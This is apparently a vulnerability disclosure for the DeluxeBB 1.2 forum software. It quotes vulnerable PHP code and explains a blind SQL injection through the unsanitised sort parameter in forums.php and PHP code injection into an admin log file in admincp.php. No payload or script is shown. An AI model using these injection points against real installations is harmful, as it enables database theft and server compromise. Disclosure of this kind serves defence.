DeluxeBB 1.2 Multiple Remote Vulnerabilities Exploit by EgiX allowing Blind SQL injection and PHP injection through privilege escalation

DeluxeBB <= 1.2 Multiple Remote Vulnerabilities Exploit

[-] Blind SQL injection (BENCHMARK() method) in /forums.php

109. $sort = 'DESC';  
110. } elseif($sort=='ASC' || $sort=='DESC') {  
111. $add .= '&sort='.$sort;

115. $current_count = 0;  
116. $tppt = $settings['tppt'];  
117.

119. if($settings['censors']!=0) {  
120. bbcodecache();  
121. }  
122.   
123. //forum info  
124. $rows = $db->query("SELECT COUNT(tid) FROM ".$prefix."threads WHERE (lastpostdate>='$posttime' && fid='$fid')");  
125. $nrows = $db->result($rows);  
126.   
127. $pageinfo = multipage($nrows, $page, $settings['tppf'], "forums.php?fid=$fid");  
128.   
129. include($templatefolder.'/forums_header.dtf');  
130.   
131. //get and format all threads  
132. $threads = $db->query("SELECT t.*,u.username FROM ".$prefix."threads t LEFT JOIN ".$prefix."users u ON (t.author=u.uid)   
WHERE (t.fid='$fid' && t.lastpostdate>='$posttime') ORDER BY t.pinned $sort,t.lastpostdate $sort LIMIT $pageinfo[0], $pageinfo[1]");  
  
$sort variable isn't properly sanitised, so an attacker could be inject (with MySQL >= 4.1 that  
allows subqueries) SQL code in a subquery after 'ORDER BY' statement, in the query at line 132  
  
[-] PHP injection by privilege escalation in /admincp.php

33. $string = $_COOKIE['membercookie']."|##|$ip|##|$time|##|$REQUEST_URI\n";  
34. $filehandle=@fopen($dir.'/cp.php',"a");  
35. if(!$filehandle) {  
36. message($lang_wrongfilepermission, $lang_plschmod);  
37. }  
38. @flock($filehandle, 2);  
39. @fwrite($filehandle, $string);  
40. @fclose($filehandle);  
41. }   
  
with admin credentials, an attacker could be inject PHP code into cp.php log file by $REQUEST_URI
